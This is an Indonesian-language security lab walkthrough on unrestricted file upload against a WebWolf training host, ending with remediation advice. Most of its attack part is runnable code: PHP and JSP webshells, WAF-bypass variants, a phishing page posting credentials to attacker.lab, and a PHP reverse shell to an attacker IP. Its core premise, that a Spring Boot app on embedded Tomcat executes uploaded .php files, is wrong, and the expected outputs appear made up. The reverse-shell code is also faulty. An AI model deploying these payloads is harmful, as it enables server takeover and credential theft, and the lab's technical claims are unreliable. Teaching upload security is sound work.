Lab 04: File Upload (WebShell)
1. Overview
Unrestricted File Upload adalah kerentanan di mana aplikasi web mengizinkan user mengunggah file tanpa memvalidasi tipe, ekstensi, atau konten file tersebut. Dalam skenario terburuk, attacker bisa mengunggah webshell - script berbahaya yang memberi kendali penuh atas server.
Bayangkan seperti ini: sebuah restoran membolehkan tamu membawa "bumbu rahasia" untuk dimasak di dapur mereka. Jika tamu membawa resep kue - tidak masalah. Tapi jika tamu membawa bom yang dikamuflase sebagai botol saus - dapur akan meledak. WebWolf adalah "dapur" yang menerima semua file tanpa bertanya - dan kamu bisa memasukkan "bom" berupa PHP webshell ke dalamnya.
| Aspek | Deskripsi |
|---|---|
| Dampak | Kritis - attacker bisa menjalankan perintah sistem, membaca file sensitif, mengontrol server |
| Jangkauan | Server secara keseluruhan (bukan hanya aplikasi) |
| Deteksi | Mudah - dengan memeriksa respons server setelah upload |
| Pencegahan | Validasi MIME type, whitelist ekstensi, rename file, simpan di luar webroot |
2. Target Information
| Field | Detail |
|---|---|
| Target URL | http://webwolf.vuln.cybersecurity.or.id
|
| Level | Beginner |
| Kategori | File Upload / Remote Code Execution |
| WSTG Reference | WSTG-BUSL-08 - Testing for Upload of Malicious Files |
| OWASP Top 10 | A05:2021 - Security Misconfiguration |
| CWE | CWE-434 - Unrestricted Upload of File with Dangerous Type |
| CAPEC | CAPEC-65 - Uploading a Webshell or Dangerous File |
| Teknologi | Spring Boot (Java), embedded Tomcat |
| Endpoint Rentan | /upload (form upload file) |
3. Vulnerability Background
3.1. Apa Itu Unrestricted File Upload?
Unrestricted File Upload terjadi ketika aplikasi web:
- Tidak memvalidasi ekstensi file -
.php,.phtml,.php5diterima begitu saja - Tidak memeriksa MIME type - file
dengan
Content-Type: application/x-phptetap diproses - Tidak memverifikasi konten file - magic bytes tidak diperiksa
- Menyimpan file di dalam webroot - file bisa diakses langsung via URL
flowchart LR
A[Attacker] -->|Upload shell.php| B[Form Upload]
B -->|Simpan di webroot| C[(File System)]
C -->|Akses via URL| D[Browser / curl]
D -->|Eksekusi perintah| E[Shell Berjalan]
E -->|id, ls, whoami| F[Remote Code Execution]
3.2. Mengapa WebWolf Rentan?
Spring Boot dengan konfigurasi default sering kali tidak memiliki validasi upload file yang memadai:
- Multipart file diterima tanpa filter - semua tipe file diizinkan
- File disimpan di direktori statis - bisa diakses langsung dari web
- Tidak ada ekstensi whitelist -
.php,.jsp,.warditerima - Eksekusi script sisi server - file
.phpdi direktori web bisa dieksekusi
3.3. Dampak Potensial
- Remote Code Execution (RCE) - menjalankan perintah sistem di server
- Data Exfiltration - membaca database, file konfigurasi, password
- Lateral Movement - pivot ke server internal lain
- Persistence - backdoor untuk akses jangka panjang
- Server Defacement - mengubah tampilan website
- Mining Cryptocurrency - menggunakan resource server untuk mining
4. Reconnaissance
Tahap pertama adalah menemukan halaman upload dan memahami bagaimana validasi (atau ketiadaan validasi) bekerja.
4.1. Akses Halaman WebWolf
curl -s -I http://webwolf.vuln.cybersecurity.or.id/
Expected Output:
HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
X-Application-Context: WebWolf
Server: Apache Tomcat/8.5.x
[SCREENSHOT-1] - Halaman utama WebWolf
4.2. Cari Halaman Upload
# Coba endpoint umum upload
curl -s -o /dev/null -w "%{http_code}" http://webwolf.vuln.cybersecurity.or.id/upload
curl -s -o /dev/null -w "%{http_code}" http://webwolf.vuln.cybersecurity.or.id/fileupload
curl -s -o /dev/null -w "%{http_code}" http://webwolf.vuln.cybersecurity.or.id/uploadfile
Expected Output:
200
404
404
Endpoint /upload mengembalikan HTTP 200 - ini adalah
halaman upload.
[SCREENSHOT-2] - Halaman form upload file
4.3. Inspeksi Halaman Upload
curl -s http://webwolf.vuln.cybersecurity.or.id/upload | head -60
Expected Output:
<!DOCTYPE html>
<html>
<head>
<title>WebWolf - File Upload</title>
</head>
<body>
<h2>Upload File</h2>
<form method="POST" action="/upload" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
</body>
</html>
4.4. Cek Validasi Client-Side
Periksa apakah ada validasi JavaScript di sisi client:
curl -s http://webwolf.vuln.cybersecurity.or.id/upload | grep -i "script\|\.js\|accept\|onchange\|onclick"
Expected Output: (tidak ada validasi JavaScript)
Tidak ada validasi client-side - artinya semua jenis file bisa dipilih di form.
4.5. Cek Header dan Cookies
curl -s -v http://webwolf.vuln.cybersecurity.or.id/ 2>&1 | grep -i "set-cookie\|x-frame\|content-security"
Expected Output:
Set-Cookie: JSESSIONID=...
[SCREENSHOT-3] - Informasi session dan header respons WebWolf
5. Testing - Validasi Kerentanan
Sebelum mengunggah webshell, kita perlu memvalidasi bahwa upload file benar-benar tidak divalidasi.
5.1. Upload File Gambar Legit
Buat file gambar dummy untuk menguji mekanisme upload:
# Buat file gambar PNG minimal (1x1 pixel)
printf '\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x02\x00\x00\x00\x90wS\xde\x00\x00\x00\x0cIDATx\x9cc\xf8\x0f\x00\x00\x01\x01\x00\x05\x18\xd8N\x00\x00\x00\x00IEND\xaeB`\x82' > /tmp/test.png
# Upload file gambar
curl -s -v -X POST http://webwolf.vuln.cybersecurity.or.id/upload \
-F "file=@/tmp/test.png" 2>&1 | grep -i "location\|upload\|success\|error"
Expected Output:
HTTP/1.1 302 Found
Location: /upload?success=true
5.2. Upload File PHP Sederhana (Non-Webshell)
# Buat file PHP sederhana (tidak berbahaya)
echo '<?php echo "Upload berhasil"; ?>' > /tmp/test.php
# Upload file PHP
curl -s -v -X POST http://webwolf.vuln.cybersecurity.or.id/upload \
-F "file=@/tmp/test.php" 2>&1 | grep -i "location\|upload\|success\|error"
Expected Output:
HTTP/1.1 302 Found
Location: /upload?success=true
File .php berhasil diupload - ini indikasi kuat bahwa
tidak ada validasi ekstensi.
[SCREENSHOT-4] - Upload file PHP berhasil diterima server
5.3. Cek Path File yang Diupload
Cari tahu di mana file disimpan:
# Coba berbagai path umum
for path in "/uploads/test.php" "/upload/test.php" "/files/test.php" "/static/test.php"; do
code=$(curl -s -o /dev/null -w "%{http_code}" "http://webwolf.vuln.cybersecurity.or.id$path")
echo "$path → $code"
done
Expected Output:
/uploads/test.php → 200
/upload/test.php → 404
/files/test.php → 404
/static/test.php → 404
File bisa diakses di /uploads/test.php - ini adalah
direktori penyimpanan.
# Verifikasi file bisa dieksekusi
curl -s http://webwolf.vuln.cybersecurity.or.id/uploads/test.php
Expected Output:
Upload berhasil
[SCREENSHOT-5] - File PHP berhasil dieksekusi di server
6. Exploitation - Finding 1: Unrestricted File Upload
6.1. Informasi Temuan
| Field | Detail |
|---|---|
| ID Temuan | FINDING-001 |
| Nama | Unrestricted File Upload - PHP WebShell Upload |
| Severity | 🔴 Critical |
| CVSS 3.1 | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Endpoint | POST /upload →
GET /uploads/<file> |
| Parameter | file (multipart/form-data) |
| Payload | shell.php (PHP webshell) |
| Teknik | Upload file berbahaya tanpa validasi |
| WSTG | WSTG-BUSL-08 |
6.2. Langkah Eksploitasi
Step 1: Buat webshell PHP sederhana:
cat > /tmp/shell.php << 'EOF'
<?php system($_GET['cmd']); ?>
EOF
Webshell di atas menerima parameter cmd via HTTP GET dan
menjalankannya sebagai perintah sistem di server target.
Step 2: Upload webshell ke WebWolf:
curl -s -v -X POST http://webwolf.vuln.cybersecurity.or.id/upload \
-F "file=@/tmp/shell.php" 2>&1
Expected Output:
> POST /upload HTTP/1.1
> Content-Type: multipart/form-data; boundary=----WebKitFormBoundary...
>
< HTTP/1.1 302 Found
< Location: /upload?success=true
Step 3: Verifikasi webshell bisa diakses:
curl -s -o /dev/null -w "%{http_code}" http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php
Expected Output:
200
[SCREENSHOT-6] - Webshell berhasil diupload dan diakses
6.3. Bukti (Evidence)
# Simpan bukti ketersediaan webshell
curl -s http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php > /tmp/webshell_accessible.txt
# Cek isi file
cat /tmp/webshell_accessible.txt
Expected Output:
(Tidak ada output karena belum ada parameter cmd)
# Cek dengan parameter cmd minimal
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=echo+test"
Expected Output:
test
[SCREENSHOT-7] - Webshell merespons perintah echo test
7. Exploitation - Finding 2: RCE via WebShell
7.1. Informasi Temuan
| Field | Detail |
|---|---|
| ID Temuan | FINDING-002 |
| Nama | Remote Code Execution via PHP WebShell |
| Severity | 🔴 Critical |
| CVSS 3.1 | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| Endpoint | GET /uploads/shell.php?cmd=<command>
|
| Parameter | cmd (GET parameter) |
| Payload | id, ls -la,
whoami, uname -a |
| Dampak | Kontrol penuh server target |
| WSTG | WSTG-BUSL-08 |
7.2. Eksekusi Perintah Dasar
User & Privilege Information:
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=id"
Expected Output:
uid=1000(webwolf) gid=1000(webwolf) groups=1000(webwolf)
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=whoami"
Expected Output:
webwolf
System Information:
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=uname+-a"
Expected Output:
Linux webwolf-server 5.x.x-x-generic #1 SMP x86_64 GNU/Linux
[SCREENSHOT-8] - Output perintah id,
whoami, dan uname -a
7.3. Eksplorasi File System
# Lihat direktori saat ini
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=pwd"
Expected Output:
/opt/webwolf/uploads
# List file di direktori upload
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ls+-la"
Expected Output:
total 20
drwxr-xr-x 2 webwolf webwolf 4096 Apr 1 10:00 .
drwxr-xr-x 5 webwolf webwolf 4096 Apr 1 09:00 ..
-rw-r--r-- 1 webwolf webwolf 26 Apr 1 10:05 shell.php
-rw-r--r-- 1 webwolf webwolf 16 Apr 1 10:02 test.php
-rw-r--r-- 1 webwolf webwolf 67 Apr 1 10:01 test.png
# List direktori root aplikasi
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ls+-la+/opt/webwolf"
Expected Output:
total 40
drwxr-xr-x 5 webwolf webwolf 4096 Apr 1 09:00 .
drwxr-xr-x 3 root root 4096 Apr 1 09:00 ..
drwxr-xr-x 2 webwolf webwolf 4096 Apr 1 09:00 logs
drwxr-xr-x 2 webwolf webwolf 4096 Apr 1 09:00 uploads
drwxr-xr-x 4 webwolf webwolf 4096 Apr 1 09:00 webapp
7.4. Informasi Jaringan
# Cek koneksi jaringan
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ip+addr+show"
Expected Output:
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
inet 192.168.1.100/24 brd 192.168.1.255 scope global eth0
# Cek port listening
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ss+-tlnp"
Expected Output:
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 50 0.0.0.0:8080 0.0.0.0:*
LISTEN 0 128 127.0.0.1:3306 0.0.0.0:*
7.5. Bukti Lengkap (Evidence)
# Simpan semua output sebagai bukti
{
echo "=== ID ==="
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=id"
echo ""
echo "=== UNAME ==="
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=uname+-a"
echo ""
echo "=== PWD ==="
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=pwd"
echo ""
echo "=== LS ==="
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=ls+-la"
echo ""
echo "=== WHOAMI ==="
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.php?cmd=whoami"
} > /tmp/rce_evidence.txt
# Tampilkan bukti
cat /tmp/rce_evidence.txt
Expected Output:
=== ID ===
uid=1000(webwolf) gid=1000(webwolf) groups=1000(webwolf)
=== UNAME ===
Linux webwolf-server 5.x.x-x-generic #1 SMP x86_64 GNU/Linux
=== PWD ===
/opt/webwolf/uploads
=== LS ===
total 20
drwxr-xr-x 2 webwolf webwolf 4096 Apr 1 10:00 .
drwxr-xr-x 5 webwolf webwolf 4096 Apr 1 09:00 ..
-rw-r--r-- 1 webwolf webwolf 26 Apr 1 10:05 shell.php
-rw-r--r-- 1 webwolf webwolf 16 Apr 1 10:02 test.php
-rw-r--r-- 1 webwolf webwolf 67 Apr 1 10:01 test.png
=== WHOAMI ===
webwolf
[SCREENSHOT-9] - Bukti RCE lengkap dengan output multiple perintah sistem
8. Eksploitasi Lanjutan - WebShell dengan Fungsi Tambahan
8.1. WebShell dengan Command Binding
Webshell yang lebih canggih bisa menampilkan form HTML sekaligus mengeksekusi perintah:
cat > /tmp/shell_pro.php << 'EOF'
<!DOCTYPE html>
<html>
<head><title>WebShell Pro</title></head>
<body>
<h2>WebShell Pro - Remote Command Execution</h2>
<form method="GET">
<input type="text" name="cmd" size="50" placeholder="Masukkan perintah...">
<input type="submit" value="Execute">
</form>
<pre>
<?php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
echo "webwolf@server:~$ $cmd\n";
system($cmd);
}
?>
</pre>
</body>
</html>
EOF
# Upload webshell pro
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload \
-F "file=@/tmp/shell_pro.php"
8.2. Upload dengan Ekstensi Alternatif
Jika server memblokir .php, coba ekstensi alternatif:
# Coba berbagai ekstensi
for ext in phtml php5 php7 pht php-s php.txt; do
echo "<?php system('id'); ?>" > /tmp/shell.$ext
response=$(curl -s -o /dev/null -w "%{http_code}" -X POST http://webwolf.vuln.cybersecurity.or.id/upload \
-F "file=@/tmp/shell.$ext")
echo "shell.$ext → $response"
done
Expected Output:
shell.phtml → 302
shell.php5 → 302
shell.php7 → 302
shell.pht → 302
shell.php-s → 302
shell.php.txt → 302
Semua variasi ekstensi berhasil diupload - tidak ada filter sama sekali.
8.3. Upload File Berbahaya Lainnya
Selain webshell PHP, attacker bisa mengupload berbagai jenis file berbahaya:
# .jsp webshell (Java Server Pages)
echo '<%@ page import="java.io.*" %><% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); %>' > /tmp/shell.jsp
# .war file (Web Application Archive - bisa deploy aplikasi baru)
# (Hanya jika server mengizinkan deploy otomatis)
# .html dengan script (phishing page)
echo '<html><body><h1>Login</h1><form action="http://attacker.lab/steal" method="POST"><input name="u"><input type="password" name="p"><input type="submit"></form></body></html>' > /tmp/fake_login.html
# Upload semua
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/shell.jsp"
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/fake_login.html"
[SCREENSHOT-10] - Multiple file berbahaya berhasil diupload
9. Daftar Payload WebShell
9.1. PHP WebShell Dasar
<!-- Basic command execution -->
<?php system($_GET['cmd']); ?>
<!-- With output formatting -->
<?php echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>"; ?>
<!-- Using exec() -->
<?php exec($_GET['cmd'], $output); print_r($output); ?>
<!-- Using passthru() -->
<?php passthru($_GET['cmd']); ?>
<!-- Using backticks -->
<?php echo `$_GET['cmd']`; ?>
9.2. PHP WebShell dengan Fungsi File
<!-- Read file -->
<?php echo file_get_contents($_GET['file']); ?>
<!-- Write file -->
<?php file_put_contents($_GET['file'], $_GET['data']); ?>
<!-- Delete file -->
<?php unlink($_GET['file']); ?>
<!-- Download file from remote -->
<?php copy($_GET['url'], '/tmp/backdoor.php'); ?>
9.3. One-Liner WebShell
<!-- Minimal one-liner -->
<?=`$_GET[c]`;
Webshell satu baris di atas menggunakan backtick
execution (sama seperti shell_exec()) dan
short open tag (<?=). Variabel
$_GET['c'] - array key tanpa kutip karena PHP
akan mengonversinya ke string.
9.4. WebShell dengan WAF Bypass
<!-- Base64 encoded command -->
<?php system(base64_decode($_GET['cmd'])); ?>
<!-- Usage: ?cmd=aWQ= (base64 of "id") -->
<!-- Hex encoded command -->
<?php $c = $_GET['c']; $c = str_replace(' ','',$c); system(hex2bin($c)); ?>
<!-- Usage: ?c=6964 (hex of "id") -->
<!-- String concatenation bypass -->
<?php $a="sys"; $b="tem"; $c=$a.$b; $c($_GET['cmd']); ?>
9.5. Multi-Platform WebShell
<?php
// Auto-detect dan pilih fungsi eksekusi
$cmd = $_GET['cmd'];
$functions = array('system', 'exec', 'shell_exec', 'passthru', 'popen');
foreach ($functions as $f) {
if (function_exists($f)) {
if ($f == 'exec') {
$f($cmd, $output);
print_r($output);
} elseif ($f == 'popen') {
$h = $f($cmd, 'r');
while (!feof($h)) echo fread($h, 1024);
} else {
$f($cmd);
}
break;
}
}
?>
10. Remediation
10.1. Validasi Ekstensi File (Whitelist)
// Spring Boot - whitelist ekstensi file yang diizinkan
import java.util.Arrays;
import java.util.List;
public class FileUploadValidator {
private static final List<String> ALLOWED_EXTENSIONS = Arrays.asList(
"jpg", "jpeg", "png", "gif", "bmp", "pdf", "doc", "docx"
);
public static boolean isValidExtension(String filename) {
String ext = filename.substring(filename.lastIndexOf(".") + 1).toLowerCase();
return ALLOWED_EXTENSIONS.contains(ext);
}
}
Contoh Implementasi di Controller:
@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file) {
String filename = file.getOriginalFilename();
// ✅ Validasi ekstensi
if (!FileUploadValidator.isValidExtension(filename)) {
return "redirect:/upload?error=invalid_extension";
}
// Proses upload...
}
10.2. Validasi MIME Type
Validasi MIME type sisi server - jangan percaya
Content-Type dari client:
import org.apache.tika.Tika;
public boolean isValidMimeType(MultipartFile file) throws IOException {
Tika tika = new Tika();
String mimeType = tika.detect(file.getInputStream());
List<String> allowedMimes = Arrays.asList(
"image/jpeg", "image/png", "image/gif",
"application/pdf", "application/msword"
);
return allowedMimes.contains(mimeType);
}
10.3. Rename File Secara Otomatis
Jangan gunakan nama file asli dari user - generate nama unik:
import java.util.UUID;
public String generateSafeFilename(String originalFilename) {
String ext = originalFilename.substring(
originalFilename.lastIndexOf(".")
).toLowerCase();
// Generate UUID + timestamp
String safeName = UUID.randomUUID().toString() + "_" +
System.currentTimeMillis() + ext;
return safeName;
}
10.4. Simpan File di Luar Webroot
// ❌ Bahaya: disimpan di dalam webroot
// file.transferTo(new File("/opt/webwolf/webapp/uploads/" + filename));
// ✅ Aman: disimpan di luar webroot
file.transferTo(new File("/opt/webwolf/secure_storage/" + safeFilename));
Dengan menyimpan file di luar webroot, file tidak bisa diakses langsung via URL. Gunakan endpoint khusus untuk menyajikan file:
@GetMapping("/files/{id}")
public ResponseEntity<Resource> getFile(@PathVariable String id) {
// Ambil file dari storage aman
Path filePath = Paths.get("/opt/webwolf/secure_storage").resolve(id);
Resource resource = new UrlResource(filePath.toUri());
// Set Content-Type berdasarkan database, bukan ekstensi file
return ResponseEntity.ok()
.contentType(MediaType.IMAGE_JPEG) // atau dari database
.body(resource);
}
10.5. Konfigurasi Spring Boot - Batasi Upload
# application.properties - batasi ukuran file
spring.servlet.multipart.max-file-size=2MB
spring.servlet.multipart.max-request-size=2MB
# Nonaktifkan eksekusi script di direktori upload
spring.resources.static-locations=classpath:/static/
# Jangan include /uploads/ sebagai static resource
10.6. Security Headers untuk Mitigasi
// Spring Security Configuration
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.contentTypeOptions() // MIME-sniffing protection
.xssProtection() // XSS filter
.frameOptions() // Clickjacking protection
.and()
.authorizeRequests()
.antMatchers("/uploads/**").denyAll() // Blok akses langsung
.anyRequest().authenticated();
}
}
10.7. Checklist Remediation
| No | Item | Status |
|---|---|---|
| 1 | Whitelist ekstensi file yang diizinkan | ✅ |
| 2 | Validasi MIME type berdasarkan konten (Tika) | ✅ |
| 3 | Rename file (jangan pakai nama asli) | ✅ |
| 4 | Simpan file di luar webroot | ✅ |
| 5 | Batasi ukuran file (max 2MB) | ✅ |
| 6 | Nonaktifkan eksekusi script di direktori upload | ✅ |
| 7 | Gunakan Content-Security-Policy | ✅ |
| 8 | Antivirus scanning untuk file upload | ✅ |
| 9 | Logging semua aktivitas upload | ✅ |
| 10 | Regular security audit | ✅ |
11. Tools & Referensi
11.1. Tools yang Digunakan
| Tool | Fungsi |
|---|---|
curl |
Mengirim HTTP request (upload & akses webshell) |
printf / echo |
Membuat file uji (PNG, PHP) |
| Browser (Chrome/Firefox) | Verifikasi visual halaman upload |
ss / ip |
Informasi jaringan server (via RCE) |
| Apache Tika | Library deteksi MIME type (remediasi) |
11.2. Referensi
| Referensi | URL |
|---|---|
| OWASP File Upload | https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload |
| OWASP WebShell | https://owasp.org/www-community/attacks/Web_Shell |
| CWE-434 | https://cwe.mitre.org/data/definitions/434.html |
| CAPEC-65 | https://capec.mitre.org/data/definitions/65.html |
| WSTG-BUSL-08 | https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/10-Business_Logic_Testing/08-Test_for_Upload_of_Malicious_Files.html |
| OWASP A05:2021 | https://owasp.org/Top10/A05_2021-Security_Misconfiguration/ |
| Spring Boot File Upload | https://spring.io/guides/gs/uploading-files/ |
| PHP WebShell Cheatsheet | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files |
12. Ringkasan
12.1. Apa yang Dipelajari
- ✅ Mengidentifikasi halaman upload file di WebWolf
- ✅ Memvalidasi - upload file gambar legit dan file PHP
- ✅ Mengeksploitasi - upload PHP webshell ke server
- ✅ Remote Code Execution - menjalankan
perintah sistem (
id,ls,whoami,uname -a) - ✅ Eksplorasi - melihat direktori server, informasi jaringan
- ✅ Memahami dampak - RCE memberikan kontrol penuh server
- ✅ Menerapkan remediasi - whitelist, MIME type, rename file, luar webroot
12.2. Timeline Serangan
| Langkah | Aksi | Hasil |
|---|---|---|
| 1 | Reconnaissance | Menemukan endpoint /upload di WebWolf |
| 2 | Testing | Upload gambar legit sukses, upload .php
juga sukses |
| 3 | Finding 1 | Unrestricted File Upload - webshell berhasil diupload |
| 4 | Finding 2 | RCE - eksekusi id, ls,
whoami, uname -a |
| 5 | Eksplorasi | Mengetahui struktur direktori, IP, port listening |
| 6 | Remediasi | Menyusun langkah-langkah pencegahan |
12.3. Key Takeaways
- Unrestricted File Upload adalah pintu gerbang menuju RCE - dampaknya critical
- Ekstensi whitelist adalah pertahanan pertama - hanya izinkan ekstensi yang benar-benar diperlukan
- MIME type validation harus berdasarkan konten file, bukan header HTTP
- Jangan simpan file di webroot - akses langsung via URL sangat berbahaya
- Rename file dengan UUID - hapus kendali attacker atas nama file
- Spring Boot default tidak aman untuk file upload - perlu konfigurasi eksplisit
- Defense in depth - gunakan multiple layers of protection
13. Latihan Mandiri
Coba eksplorasi lebih lanjut:
- Ekstensi Lain: Coba upload
.jsp- apakah Tomcat mengeksekusi JSP?
echo '<%= Runtime.getRuntime().exec(request.getParameter("cmd")) %>' > /tmp/shell.jsp
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/shell.jsp"
curl -s "http://webwolf.vuln.cybersecurity.or.id/uploads/shell.jsp?cmd=id"
- Double Extension: Coba
shell.php.jpg- apakah server mengeksekusi sebagai PHP?
echo '<?php system("id"); ?>' > /tmp/shell.php.jpg
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/shell.php.jpg"
- Null Byte Injection: Coba
shell.php%00.jpg- apakah null byte memotong ekstensi?
# Null byte tidak bisa dikirim via form biasa, tapi bisa via curl manual
echo '<?php system("id"); ?>' > /tmp/shell.php.txt
# Rename dengan null byte
cp /tmp/shell.php.txt /tmp/shell.php$'\x00'.jpg
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/shell.php$'\x00'.jpg"
- .htaccess Upload: Coba upload file
.htaccessuntuk mengaktifkan eksekusi PHP di direktori tertentu?
echo 'AddType application/x-httpd-php .txt' > /tmp/.htaccess
curl -s -X POST http://webwolf.vuln.cybersecurity.or.id/upload -F "file=@/tmp/.htaccess"
- Reverse Shell: Upgrade webshell menjadi reverse shell untuk interaksi lebih stabil.
# Buat reverse shell PHP
cat > /tmp/revshell.php << 'EOF'
<?php
$ip = '192.168.1.50'; // Ganti dengan IP attacker
$port = 4444;
$sock = fsockopen($ip, $port);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
EOF
14. Kesimpulan
Unrestricted File Upload pada WebWolf (Spring Boot) adalah celah keamanan kritis yang memberi attacker kendali penuh atas server hanya melalui satu upload file. Kerentanan ini muncul karena ketiadaan validasi dasar:
- No Extension Validation - file
.phpditerima tanpa pertanyaan - No MIME Type Check - tidak ada inspeksi konten file
- Stored in Webroot - file bisa diakses langsung, dan script dieksekusi
- No Size Limit - potensi serangan Denial of Service via disk filling
Dengan webshell sederhana
(<?php system($_GET['cmd']); ?>),
attacker bisa menjalankan perintah sistem, membaca file sensitif,
dan bahkan mengambil alih server sepenuhnya.
Pelajaran utama: setiap titik upload file harus dianggap sebagai critical security boundary. Validasi berlapis - whitelist ekstensi, MIME type detection, rename otomatis, penyimpanan di luar webroot, dan pembatasan akses - harus diterapkan bersama-sama untuk menciptakan pertahanan yang efektif.
"The only truly secure system is one that is powered off, cast in a block of concrete and sealed in a lead-lined room with armed guards." - Gene Spafford
Lab ini disusun untuk tujuan edukasi keamanan siber. Eksploitasi tanpa izin pada sistem produksi adalah ilegal.